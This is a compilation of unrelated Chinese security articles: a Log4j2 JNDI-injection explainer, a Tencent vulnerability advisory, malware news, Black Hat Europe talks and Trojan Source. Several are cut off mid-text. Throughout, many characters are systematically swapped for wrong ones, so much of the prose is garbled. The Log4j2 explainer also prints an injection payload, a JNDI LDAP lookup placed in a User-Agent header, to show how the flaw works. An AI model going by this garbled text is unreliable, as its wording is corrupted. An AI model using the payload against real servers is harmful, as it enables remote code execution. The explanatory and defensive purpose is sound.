端代码和逻辑简略，单点故障率更低也极少须要降级，升高了保护老本；另外，传统 IAST 产品对于过后未检测的破绽都在 Agent 端间接抛弃，产品呈现新的检测策略后，须要从新发动利用的测试，而洞态 IAST 将检测数据保留在服务端，可轻松地在服务端进行回归测试。 ...

大家好，我是周杰伦。 置信大家这两天应该被这么一条新闻刷屏了： 这个破绽到底是怎么回事？ 核弹级，真的有那么厉害吗？ 怎么利用这个破绽呢？ 我看了很多技术剖析文章，都太过业余，很多非Java技术栈或者不搞平安的人只能看个只知其一;不知其二，导致大家只能看个冷落，对这个破绽的成因、原理、利用形式、影响面了解的不到位。 这篇文章，我尝试让所有技术相干的敌人都能看懂：这个注定会载入网络安全史册上的破绽，到底是怎么一回事！ log4j2不论是什么编程语言，不论是前端后端还是客户端，对打日志都不会生疏。 通过日志，能够帮忙咱们理解程序的运行状况，排查程序运行中呈现的问题。 在Java技术栈中，用的比拟多的日志输入框架次要是log4j2和logback。 明天探讨的配角就是log4j2。 咱们常常会在日志中输入一些变量，比方： logger.info("client ip: {}", clientIp)当初思考一个问题： 如果当初想要通过日志输入一个Java对象，但这个对象不在程序中，而是在其余中央，比方可能在某个文件中，甚至可能在网络上的某个中央，这种时候怎么办呢？ log4j2的弱小之处在于，除了能够输入程序中的变量，它还提供了一个叫Lookup的货色，能够用来输入更多内容： lookup，顾名思义就是查找、搜寻的意思，那在log4j2中，就是容许在输入日志的时候，通过某种形式去查找要输入的内容。 lookup相当于是一个接口，具体去哪里查找，怎么查找，就须要编写具体的模块去实现了，相似于面向对象编程中多态那意思。 好在，log4j2曾经帮咱们把常见的查找路径都进行实现了： 具体每一个的意思，这里就不详述了，这不是本文的重点。 JNDI次要来看其中那个叫JNDI的货色： JNDI即Java Naming and Directory Interface（JAVA命名和目录接口），它提供一个目录零碎，并将服务名称与对象关联起来，从而使得开发人员在开发过程中能够应用名称来拜访对象。看不懂？看不懂就对了！ 简略粗犷了解：有一个相似于字典的数据源，你能够通过JNDI接口，传一个name进去，就能获取到对象了。 那不同的数据源必定有不同的查找形式，所以JNDI也只是一个下层封装，在它上面也反对很多种具体的数据源。 LDAP持续把眼光聚焦，咱们只看这个叫LDAP的货色。 LDAP即Lightweight Directory Access Protocol（轻量级目录拜访协定），目录是一个为查问、浏览和搜寻而优化的业余分布式数据库，它呈树状构造组织数据，就好象Linux/Unix零碎中的文件目录一样。目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等简单性能，不适于存储批改频繁的数据。所以目录天生是用来查问的，就如同它的名字一样。看不懂？看不懂就对了！ 这个货色用在对立身份认证畛域比拟多，但明天也不是这篇文章的重点。你只须要简略粗犷了解：有一个相似于字典的数据源，你能够通过LDAP协定，传一个name进去，就能获取到数据。 破绽原理好了，有了以上的根底，再来了解这个破绽就很容易了。 如果某一个Java程序中，将浏览器的类型记录到了日志中： String userAgent = request.getHeader("User-Agent");logger.info(userAgent);网络安全中有一个准则：不要信赖用户输出的任何信息。 这其中，User-Agent就属于外界输出的信息，而不是本人程序里定义进去的。只有是外界输出的，就有可能存在歹意的内容。 如果有人发来了一个HTTP申请，他的User-Agent是这样一个字符串： ${jndi:ldap://127.0.0.1/exploit}接下来，log4j2将会对这行要输入的字符串进行解析。 首先，它发现了字符串中有 ${}，晓得这个外面包裹的内容是要独自解决的。 进一步解析，发现是JNDI扩大内容。 再进一步解析，发现了是LDAP协定，LDAP服务器在127.0.0.1，要查找的key是exploit。 最初，调用具体负责LDAP的模块去申请对应的数据。 如果只是申请一般的数据，那也没什么，但问题就出在还能够申请Java对象！ Java对象个别只存在于内存中，但也能够通过序列化的形式将其存储到文件中，或者通过网络传输。 如果是本人定义的序列化形式也还好，但更危险的在于：JNDI还反对一个叫命名援用（Naming References）的形式，能够通过近程下载一个class文件，而后下载后加载起来构建对象。 PS：有时候Java对象比拟大，间接通过LDAP这些存储不不便，就整了个相似于二次跳转的意思，不间接返回对象内容，而是通知你对象在哪个class里，让你去那里找。留神，这里就是外围问题了：JNDI能够近程下载class文件来构建对象！！！。 危险在哪里？ 如果近程下载的URL指向的是一个黑客的服务器，并且下载的class文件外面藏有恶意代码，那不就完犊子了吗？ 还没看懂？没关系，我画了一张图： 这就是鼎鼎大名的JNDI注入攻打！ 其实除了LDAP，还有RMI的形式，有趣味的能够理解下。 JNDI 注入其实这种攻打手法不是这一次呈现了，早在2016的blackhat大会上，就有大佬披露了这种攻击方式。 ...

腾讯平安留神到，一个Apache Log4j2的高危破绽细节被公开，攻击者利用破绽能够近程执行代码。 破绽形容： 腾讯平安留神到，一个Apache Log4j2反序列化近程代码执行破绽细节已被公开，Log4j-2中存在JNDI注入破绽，当程序将用户输出的数据进行日志记录时，即可触发此破绽，胜利利用此破绽能够在指标服务器上执行任意代码。 Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰盛的个性。该日志框架被大量用于业务零碎开发，用来记录日志信息。大多数状况下，开发者可能会将用户输出导致的错误信息写入日志中。 因该组件应用极为宽泛，利用门槛很低，危害极大，腾讯平安专家建议所有用户尽快降级到平安版本。 破绽编号：暂缺 破绽等级： 高危，该破绽影响范畴极广，危害极大。 CVSS评分：10（最高级） 破绽状态： 受影响的版本： Apache log4j2 2.0 - 2.14.1 版本均受影响。 平安版本： Apache log4j-2.15.0-rc1 破绽复现与验证： 腾讯平安专家已第一工夫对该破绽进行复现验证 破绽修复计划： Apache官网已公布补丁，腾讯平安专家建议受影响的用户尽快降级到平安版本。 补丁下载地址： https://github.com/apache/log... 破绽缓解措施： （1）jvm参数 -Dlog4j2.formatMsgNoLookups=true （2）log4j2.formatMsgNoLookups=True 腾讯平安解决方案： 腾讯T-Sec Web利用防火墙（WAF）、腾讯T-Sec高级威逼检测零碎（NDR、御界）、腾讯T-Sec云防火墙已反对检测拦挡利用Log4j2 近程代码执行破绽的攻打流动。 腾讯T-Sec主机平安（云镜）、腾讯容器平安服务（TCSS）已反对检测企业资产（主机、容器及镜像）是否存在Apache Log4j2近程代码执行破绽。 自助处理手册： 应用腾讯T-Sec云防火墙进攻破绽攻打腾讯T-Sec云防火墙已新增虚构补丁规定反对阻断利用Apache Log4j2近程代码执行破绽的攻打，客户能够开明腾讯云防火墙高级版进行进攻。 在腾讯云控制台界面，关上入侵进攻设置即可，腾讯云防火墙的虚构补丁机制能够无效抵挡破绽利用。 应用腾讯T-Sec Web利用防火墙（WAF）进攻破绽攻打登录腾讯云Web利用防火墙控制台，顺次关上左侧“资产核心-域名列表”，增加域名并开启防护即可。步骤细节如下： 腾讯云Web利用防火墙控制台：资产核心->域名列表，点击增加域名： SaaS类型域名接入，输出域名，配置端口，源站地址或者域名，点击确定即可，新增之后防护默认关上 负载平衡类型域名接入，输出域名，配置代理，负载平衡监听器，点击确定即可，新增之后防护默认关上 域名列表查看配置，防护开关、回源IP等接入状况，确认接入胜利。 3.应用腾讯T-Sec主机平安（云镜）检测修复破绽。 登录腾讯主机平安控制台，顺次关上左侧“破绽治理”，对扫描到的零碎组件破绽、web利用破绽、利用破绽进行排查。步骤细节如下： 主机平安（云镜）控制台：关上破绽治理->系统漏洞治理，点击一键检测： 查看扫描到的Apache Log4j组件近程代码执行破绽危险我的项目： 确认资产存在Apache Log4j组件近程代码执行破绽危险： 降级Apache Log4j到平安版本 回到主机平安（云镜）控制台再次关上“破绽治理”，从新检测确保资产不受Apache Log4j组件近程代码执行破绽影响。 应用腾讯T-Sec容器平安服务检测修复镜像破绽登陆腾讯容器平安服务控制台，顺次关上左侧“镜像平安”，对本地镜像和仓库镜像进行排查。步骤细节如下： 1）容器平安服务控制台：关上本地镜像/仓库镜像-点击一键检测，批量抉择Apache Log4j组件关联镜像，确认一键扫描： 2）扫描结束，单击详情确认资产存在Apache Log4j组件近程代码执行破绽危险 3）降级到pache Log4j到平安版本 4）回到容器平安服务控制台再次关上“镜像平安”，从新检测确保资产不受Apache Log4j组件近程代码执行破绽影响。 ...

平安资讯报告23个应用程序被辨认为PhoneSpy恶意软件该恶意软件能够窃取要害数据，包含已装置应用程序的残缺列表、拨打的电话总数和智能手机中可用的音讯总数。在Android恶意软件攻打的最新发现中，发现名为PhoneSpy的特务软件感化了美国和韩国市场的设施。已发现该恶意软件感化了23个Android应用程序 PhoneSpy恶意软件可能窃取重要数据，包含音讯、图像、电话，甚至能够近程拜访您设施的地位。此外，通过各种受感化的应用程序权限，恶意软件甚至能够拜访已装置应用程序的残缺列表，应用手机上的摄像头和麦克风录制音频和视频。该恶意软件甚至能够提取设施信息，例如IMEI号码、设施名称及其品牌。 报告恶意软件的Zimperium挪动平安机构示意，“该应用程序可能卸载任何用户装置的应用程序，包含挪动平安应用程序。歹意行为者能够实时取得设施的准确地位，而受害者并不知道。该特务软件还使威逼参与者可能应用网络钓鱼页面来获取Facebook、Instagram、Google和KakaoTalk的凭据。” 如果您应用的是Android设施，则须要记住，从不受信赖的第三方利用商店下载和装置利用是不可取的。咱们倡议保持应用Google Play商店下载您的所有应用程序。此外，用户切勿点击通过SMS音讯或电子邮件发送的任何可疑的下载任何应用程序的链接。此外，用户不应点击链接或下载通过可疑电子邮件和音讯发送的附件。 新闻来源： https://www.91mobiles.com/hub... 立刻从您的Android手机中删除这13个“小丑”应用程序一组Android应用程序实际上是危险的Joker恶意软件的容器，它们能够从您的音讯中窃取一次性登录代码或在未经您批准的状况下为您订阅低廉的服务。 受木马恶意软件感化的应用程序已从Google Play商店下架，但局部Android用户可能仍装置了这些应用程序并形成危险。 平安专家指出，如果您的数据或电池使用量忽然激增，则可能是恶意软件正在您的设施上运行后台任务。查看以确保您的敌人都没有收到您的神秘音讯，尤其是带有奇怪链接的音讯。恶意软件能够应用您的手机向您的联系人列表中的人发送音讯，并进一步感化您的网络。 以下应用程序充当恶意软件的后门，使Android用户面临危险： Battery Charging Animations Battery WallpaperBattery Charging Animations Bubble EffectsClassic Emoji KeyboardDazzling KeyboardEasy PDF ScannerEmojiOne KeyboardFlashlight Flash Alert On CallHalloween ColoringNow QRcode ScanSmart TV remoteSuper Hero-EffectVolume Booster Hearing AidVolume Booster Louder Sound Equalizer新闻来源： https://www.the-sun.com/tech/... 卡巴斯基预测2022年的8种高级威逼1.APT新参与者的涌入 最近针对NSO等攻击性平安公司的法律案件使监督软件的应用成为人们关注的焦点。NSO是一家提供攻击性平安等服务的以色列公司，它被指控向政府提供特务软件，而这些特务软件最终会攻打记者和活动家。 2.挪动设施定位 Android容许更轻松地装置第三方应用程序，这导致更多面向网络立功的恶意软件环境，而iOS次要是由先进的民族国家资助的网络间谍活动的指标。2021年披露的Pegasus案为iOS零点击、零日攻打带来了新的维度。 3.更多供应链攻打 往年，REvil/Sodinokibi勒索软件组织瞄准了托管服务提供商。这种攻打是毁灭性的，因为它容许一个攻击者，一旦他或她胜利地毁坏了提供商，就能够轻松地同时攻打更多的公司。供应链攻打将成为2022年及当前的增长趋势。 4.在家工作发明防御机会 攻击者将寻找利用未齐全修补或爱护的家用计算机的新机会，以在企业网络中取得初步立足点。 5.地缘政治：META地区的APT攻打减少 中东和土耳其周边的地缘政治紧张局势加剧，以及非洲已成为城市化速度最快的地区并吸引了大量投资，这些很可能会减少META地区，尤其是非洲的重大APT攻打数量。 6.存在危险的云平安和外包服务 云平安为寰球公司提供了许多劣势，但对此类基础设施的拜访通常取决于单个明码或API密钥。此外，在线文档解决或文件存储等外包服务蕴含的数据对于APT威逼参与者来说可能十分乏味。 这将“吸引攻击者的注意力，并将成为简单攻打的次要指标。 7.回到疏导包 攻击者通常会避开低级疏导包，因为它有更高的导致系统故障的危险。此外，创立它们须要更多的精力和技能。对bootkit的攻击性钻研还很沉闷，预计会有更先进的植入物。 8.廓清可承受的网络攻击做法 2021年，网络战使得法律起诉书更多地被用作反抗口头的武器库的一部分。一些国家将在2022年公布他们的网络攻击分类，具体阐明哪些类型的攻打媒介和行为是禁止的。 新闻来源： https://www.techrepublic.com/... 勒索软件当初是一个微小的黑洞，正在排汇所有其余模式的网络立功平安公司Sophos在一份报告中示意：“勒索软件黑洞的引力正在吸引其余网络威逼，造成一个宏大的、互相关联的勒索软件传输零碎——这对IT平安具备重大影响。” 许多专家认为勒索软件是企业面临的最紧迫的平安危险——而且它对所波及的团伙来说极其有利可图，赎金收入显着减少。 勒索软件正变得更加模块化，不同的个人专门钻研攻打的特定元素。它还指出了“勒索软件即服务”的相干衰亡，犯罪团伙在不足本人创立这些工具的技术能力时，能够购买工具来运行他们本人的勒索软件攻打。 这些所谓的勒索软件“从属机构”甚至不用找到本人的潜在受害者：勒索软件生态系统曾经倒退，因而他们能够转向其余专门取得企业网络拜访权限的个人，并将后门发售给他们. ...

近日，Coro 公布了一份钻研报告，该报告基于 2020 年和 2021 年期间在批发、制作、业余服务、医疗保健、运输和教育行业经营的 4000 多家雇员在 100 至 1500 人之间的中型公司的数据，考察了中型市场企业网络安全状况。 报告指出，中型市场企业在 2021 年底前遭逢安全漏洞的可能性要比 2019 年高出 490%。 考察称，仅在去年，针对中端市场的攻打就减少了 50% 到 125%。在过来的一年中，对医疗保健和交通行业的攻打减少了 125% 以上，对批发、制作和业余服务畛域的攻打则减少了 86% 到 90%。 攻打在一年的最初 4 个月激增。与往年前八个月相比，2020 年最初四个月各行各业中型企业的网络攻击减少了 22% 至 36%，且 2021 年的增长趋势与之相似。 除此之外，攻打的复杂程度也有所提高。从 2020 年到 2021 年，不辨别指标的低等攻打已从 86% 降至 68%；相同，有针对性的攻打曾经回升到 26%，定制攻打减少到 4%，外部威逼翻了一倍达到了 2%。 自 2020 年初以来，因为疫情带来的数字化转型，中型企业在过来两年间经验了更宽泛的网络攻击，并且各种类型的攻打都呈现了大幅度增长。 其中，Bot 攻打减少了 238%、Wi -Fi 网络钓鱼减少了 203%、云应用程序中的恶意软件减少了 180%、通过电子邮件发送的恶意软件减少了 154%、通过端点流传的恶意软件减少了 156%、外部威逼减少了 132%。

英国当地工夫11月8日至11日，Black Hat Europe 2021在伦敦会议现场及线上拉开帷幕。来自世界各地的白帽极客和平安专家齐聚一堂，独特分享了在利用平安、破绽利用开发、恶意软件等畛域的突破性研究成果。在本次大会中，百度平安共有四项研究成果入选Black Hat外围的Briefings环节，再创历史。 百度平安入选议题一：AI Model-Mutator：Finding Vulnerabilities in TensorFlow**百度平安颁布全新含糊测试工具！补齐API Fuzzing短板！TensorFlow们迎来更平安加持！ 毫无疑问，开源机器学习平台们的踊跃迭代为AI的疾速降级发明了条件，但其也为AI计算框架的代码开发品质埋下了不少隐患。仅看谷歌推出的TensorFlow，其在2019年至2021年三年间的CVE数量便减少了15倍。 一般而言，API Fuzzing是大家罕用的破绽检测形式，但其却没方法很好地发现暗藏在简单代码逻辑中的“深层”破绽。针对这一问题，百度平安在会上颁布了一种全新的基于模型变异的含糊测试工具AI Model-Mutator。其可将模型文件作为数据输出文件，通过随机变异来测试底层计算框架的代码品质。由此，技术团队无需手动构建触发破绽所需的“上下文”，便可能找到“深层”破绽。 基于百度平安的验证测试，借助上述变异规定，AI Model-Mutator可能无效重现TensorFlow中已发现的66个破绽。同时，其还发现了6个全新破绽，并失去了TensorFlow团队的确认和致谢。 对于该议题的业余技术解读，可持续浏览上面的拓展内容：对于TensorFlow向百度平安帮助修复87个安全漏洞的致谢信息https://github.com/tensorflow... 百度平安入选议题二：Your Trash Kernel Bug，My Precious 0-day如果内核Bug危险评级不准？如果低危险破绽演化成高危？是时候钻研新的评测办法了！ 程序中含有安全漏洞对于简单软件是在劫难逃的事件，对于操作系统内核来说也是这样。即便是像Linux这样绝对成熟的零碎，每月都可能会有数十个不同品种的破绽被发现。而当一个破绽被发现时，技术团队面临的首要问题便是判断这些破绽的轻重缓急，从而决定修复的优先级。 目前，上述判断根据次要是安全漏洞报告的危险评级，Kernel Fuzzing内核含糊测试技术的提高也极大地减速了内核破绽的发现效率。然而，来自百度平安和美国宾州州立大学（PSU）的联结研究成果却显示，目前的评级信息十分不牢靠——基于单方开发的针对Linux内核破绽的剖析工具，一些看似低危险级别的破绽有可能被“转化”为高危可利用的内存损坏破绽，一些被认为不算重大的Warning有可能引发重大的平安危险。 对于行业来说，这一钻研裸露了以后内核破绽危险评级的局限性，其所带来的安全隐患值得整个平安社区关注，有必要钻研新的破绽危险评测办法。 百度平安入选议题三：New Ways of IPv6 Scanning50万年难破解！IPv6地址看起来很平安？其实不平安！ 随着43亿个IPv4地址调配殆尽，IPv6逐步成为支流，其所采纳的128位地址长度也被认为是更为平安的计划选项，因为地址足够长，无奈像IPv4一样进行地址扫描。然而，依据百度平安提出的地址扫描新办法，这一“古老”的攻打策略依然实用于IPv6，IPv6可能没有咱们设想中的那么平安。 这一来自百度平安的最新研究成果别离指向了简直所有的Linux内核设施和所有的Android设施，钻研人员发现了多个新的IPv6地址扫描办法，威逼包含iPhone、Android手机、路由器、随身WIFI、智能音箱、车载娱乐零碎在内的常见IoT设施，波及iOS、Android、Windows、Ubuntu等常见操作系统。攻击者能够利用这些平安危险，在短时间内轻易取得百万、千万级的随机IPv6地址，同时利用IPv6反对一对一间接拜访的个性，攻击者能够间接拜访这些扫描到地址的设施，就像是攻打内网设施一样，向这些单薄IoT设施的已知破绽、ADB调试端口、Web服务、Telnet服务等动员攻打。这种平安危险在世界大部分国家地区、运营商都存在。 百度平安入选议题四：BadMesher：New Attack Surfaces of Wi-Fi Mesh NetworkEasyMesh真香！Wi-Fi Mesh无死角家庭网络真香！但这可能并不平安…… 随着万物互联时代的到来，IoT设施互联互控已成为趋势，Wi-Fi网络作为高效的挪动接入，是IoT设施人造的传输网络。Wi-Fi Mesh作为新兴的组网技术，具备自组织、自治理、自愈合的特点，无效解决了传统Wi-Fi组网中存在的灵活性和可靠性的问题，并逐步成为IoT设施互联互通的基础设施。 然而，来自百度平安的钻研发现，Wi-Fi Mesh网络存在多个平安攻击面，可让攻击者在Mesh网络构建阶段和网络管制阶段对设施发动攻打。在理论的测试中，业内头部芯片厂商Mediatek MT7915 EasyMesh解决方案便被发现了多处平安问题，CVE数量达到19个。 面对上述一系列问题，百度平安将其归因为TLV（Type-Length-Value）解析导致的内存毁坏问题，并推出了定制开发的自动化破绽开掘工具MeshFuzzer。该工具可能笼罩EasyMesh中的各个阶段及各个角色，能够帮忙设施厂商对EasyMesh的实现进行深刻查看，助力晋升产品安全性。Black Hat大会是寰球信息安全畛域的顶级会议之一，具备极强的专业性和趋势性，百度平安也始终是其重要的参与者。在此次Black Hat Europe 2021上，百度平安的四项研究成果入选Briefings，不仅为百度本身发明了新的历史，也代表着中国网络安全产业一直增长的技术实力。 秉承“有AI，更平安”的理念，百度平安始终致力于以更平安的技术推动AI时代的到来。而面对传统平安问题的降级与全新平安挑战的呈现，百度平安也将以此次Black Hat大会为契机，持续与产学研各界专业人士一道，展现中国实际，收回中国声音，独特打造更为平安的网络世界。

腾讯平安检测到有网络黑产利用微软9月份和3月份已修复的两个IE 高危破绽结构歹意广告页面挂马攻打，当存在破绽的零碎拜访攻击者歹意结构的页面时，会触发恶意代码执行，之后下载Magniber勒索软件。 Magniber勒索病毒以前重点指标是韩国，目前已扩散到亚洲其余国家或地区，该团伙善于利用浏览器组件相干的破绽工具包攻打流传，次要通过歹意广告链散发。勒索病毒运行时，会加密文件，删除磁盘卷影，弹出勒索告诉，被加密的文件无密钥暂不能解密，广告页面挂马攻打可能影响政企机构和个人电脑零碎。 腾讯平安截获的最新样本利用了两个IE相干高危破绽结构挂马网页流传，存在破绽的零碎关上广告页面即会运行恶意代码，下载勒索软件。编号为CVE-2021-40444的MSHTML近程代码执行破绽为微软9月份布告修复，破绽评分8.8，为重大级别。另一个挂马攻打样本利用了往年3月微软修复的IE内存损坏破绽（CVE-2021-26411），破绽评分8.8。两个破绽通告修复时，均已检测到黑客歹意利用，破绽具体利用办法也已在互联网上公开。 腾讯零信赖iOA、腾讯电脑管家均已反对检测拦挡利用IE破绽攻打的挂马网页，相干歹意病毒样本均反对查杀。 腾讯平安专家建议用户修复已知破绽，防止遭逢网络黑产攻打，举荐应用Windows 更新或腾讯零信赖iOA、腾讯电脑管家的破绽修复性能装置补丁。 对曾经可怜中招的用户，能够通过腾讯零信赖iOA、腾讯电脑管家内置的文档守护者复原文件。 参考资料： https://zhuanlan.zhihu.com/p/... https://msrc.microsoft.com/up... https://msrc.microsoft.com/up...

11 月 1日，剑桥大学钻研人员发现了一个可影响当今大多数计算机软件代码编译器和软件开发环境的破绽。这个破绽来自数字文本编码标准 Unicode的一个组件，与 Unicode 双向算法“bidi”相干。 危及简直所有软件的超级破绽Unicode目前在154中不同的编程语言脚本中定义了超过 14.3万个字符（除了一些非脚本字符集，例如表情符号）。 该破绽被命名为“原木马”（Trojan Source），该算法解决蕴含具备不同显示程序的混合脚本的显示文本，例如阿拉伯语（从右到左浏览）和英语（从左到右）。 大多数编程语言都容许开发者将 bidi 字符放在字符串文字和正文里边，然而，正文和字符串须要恪守语法，Bidi overrides 却不必恪守。 因而，将一段代码应用 Bidi 算法多层 LRI 和 RLI 互相嵌入，就能够把其中的字符串任意组合，从新排序。如果你有足够的工夫，甚至能够重排一份源代码的字符，生成一份新的合乎语法标准的代码。 这是第一个危及简直所有软件的，“简洁优雅的”超级破绽。 对所有反对 Unicode 的语言不利剑桥大学计算机平安传授、该钻研的合著者罗斯·安德森称： “对于像 Linux 和Webkit这样的我的项目来说，这相对是个坏消息，这些我的项目承受任何人的代码奉献，人工审核后将它们合并到要害代码中。据我所知，这个破绽是第一个影响简直所有（软件）的破绽。” 如果这个破绽被用于歹意攻打，将导致一个很大的问题：审查者看到的代码逻辑很可能和编译器编译进去的程序逻辑不一样。 来看一下这个 python 的例子： 图一和图二都定义 alice 的值为100， 并调用同一个函数：将 alice 减去 50 ，依据程序逻辑，两组程序都应该返回 50。 但图一插入了 RLI ，subtract\_funds 函数体的 return 实际上是因为 bidi RLI 笼罩而执行的，因而图一的 bank{account} \_=amount 语句永远也不会执行，只会返回 100 。 雷同的原理也能够利用于其余语言，这个破绽实际上是 Unicode 本身的问题，却实实在在地影响到了所有反对 Unicode 的语言，包含 C、C++、C#、JavaScript、Java、Rust、Go 和 Python 等一系列风行的编程语言。 安德森示意，这样的攻打对于人类代码审查人员来说可能很难检测到，因为渲染的源代码看起来齐全能够承受。 “如果逻辑上的变动足够奥妙，以至于在后续测试中未被发现，那么攻击者可能会在不被发现的状况下引入有针对性的破绽”，他说。 大多数编译器都能够被 Unicode 坑骗同样令人担忧的是，Bidi控制字符通过大多数古代浏览器、编辑器和操作系统上的复制和粘贴性能驻留。 “任何将代码从不受信赖的起源复制到受爱护的代码库中的开发人员都可能无心中引入了一个不可见的破绽。”安德森指出：“这种代码复制是事实世界安全漏洞的重要起源。” 约翰霍普金斯信息安全研究所副教授马修格林示意，剑桥的钻研分明地表明，大多数编译器都能够被 Unicode坑骗，以不同于读者预期的形式解决代码。 格林说，好消息是钻研人员进行了宽泛的破绽扫描，但无奈找到任何人正在利用此破绽的证据。然而： “坏消息是它没有进攻措施，当初人们晓得了，不法分子可能会开始利用它”，格林说： “心愿编译器和代码编辑器开发人员可能疾速修补这个问题！但因为有些人不定期更新开发工具，至多在一段时间内会有一些危险。” 安德森指出，到目前为止，大概一半负责保护受影响的计算机编程语言的组织曾经承诺提供补丁，但其他人正在迁延。 “咱们将在接下来的几天内监控他们的部署，”安德森说。“咱们还期待Github、Gitlab 和 Atlassian采取行动，因而他们的工具应该可能检测对依然不足双向字符过滤的语言的代码的攻打。” ...

平安资讯报告 微软依然是网络钓鱼攻打中被假冒次数最多的品牌 网络安全公司Check Point的一份报告显示，在寰球近29%的网络钓鱼攻打中，微软是被模拟最多的品牌，只管速度较慢，低于2021年第二季度的45%。 来自Check Point Research的网络安全专家剖析了2021年第三季度发送的网络钓鱼电子邮件，发现WhatsApp、LinkedIn和Facebook首次进入了往年十大最受假冒品牌名单。 犯罪分子试图通过应用与正版网站类似的域名或网址以及网页设计来模拟知名品牌的官方网站。虚伪网站的链接能够通过电子邮件或短信发送给指标集体，用户能够在网页浏览期间被重定向，或者它可能由欺诈性挪动应用程序触发。 登宾斯基断言，当波及到仿佛来自Facebook或WhatsApp等社交媒体渠道的任何电子邮件或其余通信时，用户应该保持警惕。 新闻来源： https://indianexpress.com/art... 卡巴斯基专家强调中东是最容易受到APT攻打的地区 卡巴斯基钻研人员公布了49份威逼情报报告，作为对阿拉伯联合酋长国网络攻击相干考察的后果，这是所有中东国家中报告数量最多的。第二高的是沙特阿拉伯，有39份报告，其次是埃及，有30份报告。科威特和阿曼紧随其后，各有21份报告，而约旦则有20份报告。公布的其余调查报告来自伊拉克、卡塔尔和巴林，每个国家都有不到20份报告。 因为地缘政治因素，中东地区始终是此类针对性攻打的温床。卡巴斯基考察的最多的APT攻打次要针对政府机构：政府机构的指标最多，其次是外交机构、教育和电信机构。名单上的其余指标行业包含金融机构、IT公司、医疗保健、律师事务所、军事和国防。 新闻来源： https://www.zawya.com/mena/en... 微软签名的Rootkit正在针对中国的游戏环境 钻研人员曾经发现一个带有微软无效数字签名的rootkit正在中国的游戏环境中散发。 钻研人员在一份新报告中示意，名为FiveSys的rootkit被用于将流量重定向到攻击者管制的自定义代理服务器，并且很可能由对中国游戏市场十分感兴趣的威逼行为者操作。一年多来，rootkit始终以用户为指标；平安供应商示意，应用它的次要动机仿佛是凭据偷盗和利用内购买劫持。 FiveSys是平安钻研人员近几个月公开报告的第二个由微软签名的恶意软件。往年6月，G-Data发表它曾经察看到一个名为Netfilter的rootkit，它与FiveSys一样针对中国的游戏玩家。 “Rootkit是网络犯罪集团武器库中最弱小、最令人垂涎的工具之一”，因为它们能够齐全管制受感化的设施，Botezatu说。攻击者实现这种管制级别的最无效办法之一是通过公司的第三方软件验证程序潜入rootkit，就像攻击者瞄准Microsoft的驱动程序认证过程一样。同样，Android恶意软件开发人员正试图将歹意内容潜入官网挪动应用程序市场。 新闻来源： https://www.darkreading.com/a... 安全漏洞威逼 “鱿鱼游戏”恶意软件曾经登陆安卓手机 Squid Game是Netflix有史以来最大的原创作品，据报道自大概一个月前发行以来，超过三分之二的订阅者都在观看该节目。这一胜利意味着数百万人当初投资于Squid Game电影世界，渴望以任何可能的模式取得更多内容。 一个歹意的人（或一群人）通过创立一个充斥恶意软件的鱿鱼游戏主题的Android应用程序来利用这种强烈的趣味。据福布斯报道，该应用程序将本人定位为一个充斥鱿鱼游戏插图的壁纸应用程序——但它最终只不过是恶意软件注入的前沿。 该应用程序的暗藏用意被名为@ReBensk的Twitter用户发现，而后由ESET恶意软件研究员Lukas Stefanko进行考察。Stefanko昨天在推特上示意，在Android设施上运行该应用程序可能会导致歹意广告欺诈（其中应用虚伪印象数夸张广告支出）或不须要的SMS订阅。 在得悉该应用程序存在后，谷歌将其从Play商店中删除。然而到那时曾经有超过5,000人下载了它，这使得驰名的Joker恶意软件可能进入他们的设施。 新闻来源：https://www.inputmag.com/tech... 谷歌：YouTubers的帐户被cookie窃取恶意软件劫持 谷歌示意，在出于经济动机的威逼行为者协调的网络钓鱼攻打中，YouTube创作者已成为窃取明码的恶意软件的指标。 谷歌威逼剖析小组(TAG)的钻研人员于2019年底首次发现了该流动，他们发现，这些攻打的幕后黑手是通过俄语论坛上的招聘广告招募的多名黑客招聘演员。 攻击者应用社交工程（通过伪造的软件登陆页面和社交媒体帐户）和网络钓鱼电子邮件，依据每个攻击者的偏好抉择信息窃取恶意软件来感化YouTube创作者。 新闻来源： https://www.bleepingcomputer.... 平安防护攻略 应答勒索软件攻打的五种形式 基于云的文件存储平台不仅能够更灵便地共享信息，还能够确保法医评估和从攻打中复原，而不会让受影响的公司损失生产工夫或领取赎金。 以下是云文件存储系统为IT团队提供防止勒索软件攻打中断的五种形式： 云文件共享 许多公司依赖传统的外部部署文件共享基础设施，并应用反复的基础设施进行劫难复原(DR)进行系统故障转移。这些简单的安顿总是须要定期维护，但更令人担忧的是，当IT团队须要疾速评估攻打造成的侵害并制订DR打算时，它们尤其难以治理且资源沉重。 相比之下，下一代工具，例如基于云的文件共享办公零碎，凭借其核心性质和本地化文件拜访，还能够确保在产生攻打时疾速进行本地损坏检测和更简略的文件复原。后Covid经济对云的青睐曾经使寰球企业有更好的根底来应答勒索软件的威逼。 不可变数据 尽管勒索团伙在大风行期间攻打旧的技术基础设施或拼凑在一起进行近程工作的基础设施，但第二个次要劣势是云带来了不可变的数据。云文件存储为组织提供了避免定期中断和黑客攻击的实用保护措施，因为他们的寰球文件系统提供残缺的数据完整性，并且不须要将数据从一个地位挪动到另一个地位供寰球扩散的团队拜访。 有针对性的文件复原 基于云的文件存储完整性的第三个次要演变是当先产品对间断文件版本控制（快照）性能的应用。这些为IT和网络团队提供了文件共享状态的有限快照，频率可达每五分钟一次，从而在产生攻打时实现受控的本地级文件级复原。 如果组织的文件被攻打加密或损坏，IT团队能够疾速设置审计跟踪以进行攻打后损坏评估和复原，而不用复原所有存储的数据量。最新的云文件存储工具甚至具备“点击式”文件复原性能，可实现疾速简略的文件复原。领有云文件存储平台的公司对IT团队可能疾速隔离受影响的文件并复原它们从而不会中断日常经营的能力感到诧异。 短时间内复原 长期以来，复原文件始终是最不喜爱的工作，尤其是对于运行混合基础架构的CIO。部门共事常常发现，即便在对勒索软件攻打做出立刻响应之后，他们的组织也须要数周和数月的工夫能力实现全面的经营复原。相比之下，下一代基于云的文件存储系统能够将要害业务文件“回滚”到勒索软件事件产生的确切工夫。 即便是重大依赖多地点和分布式劳动力的组织也能够释怀，他们的要害资产在产生攻打或中断时是平安的，而他们的员工将更快地复原生产工作。 云意味着更简略的勒索攻打复原 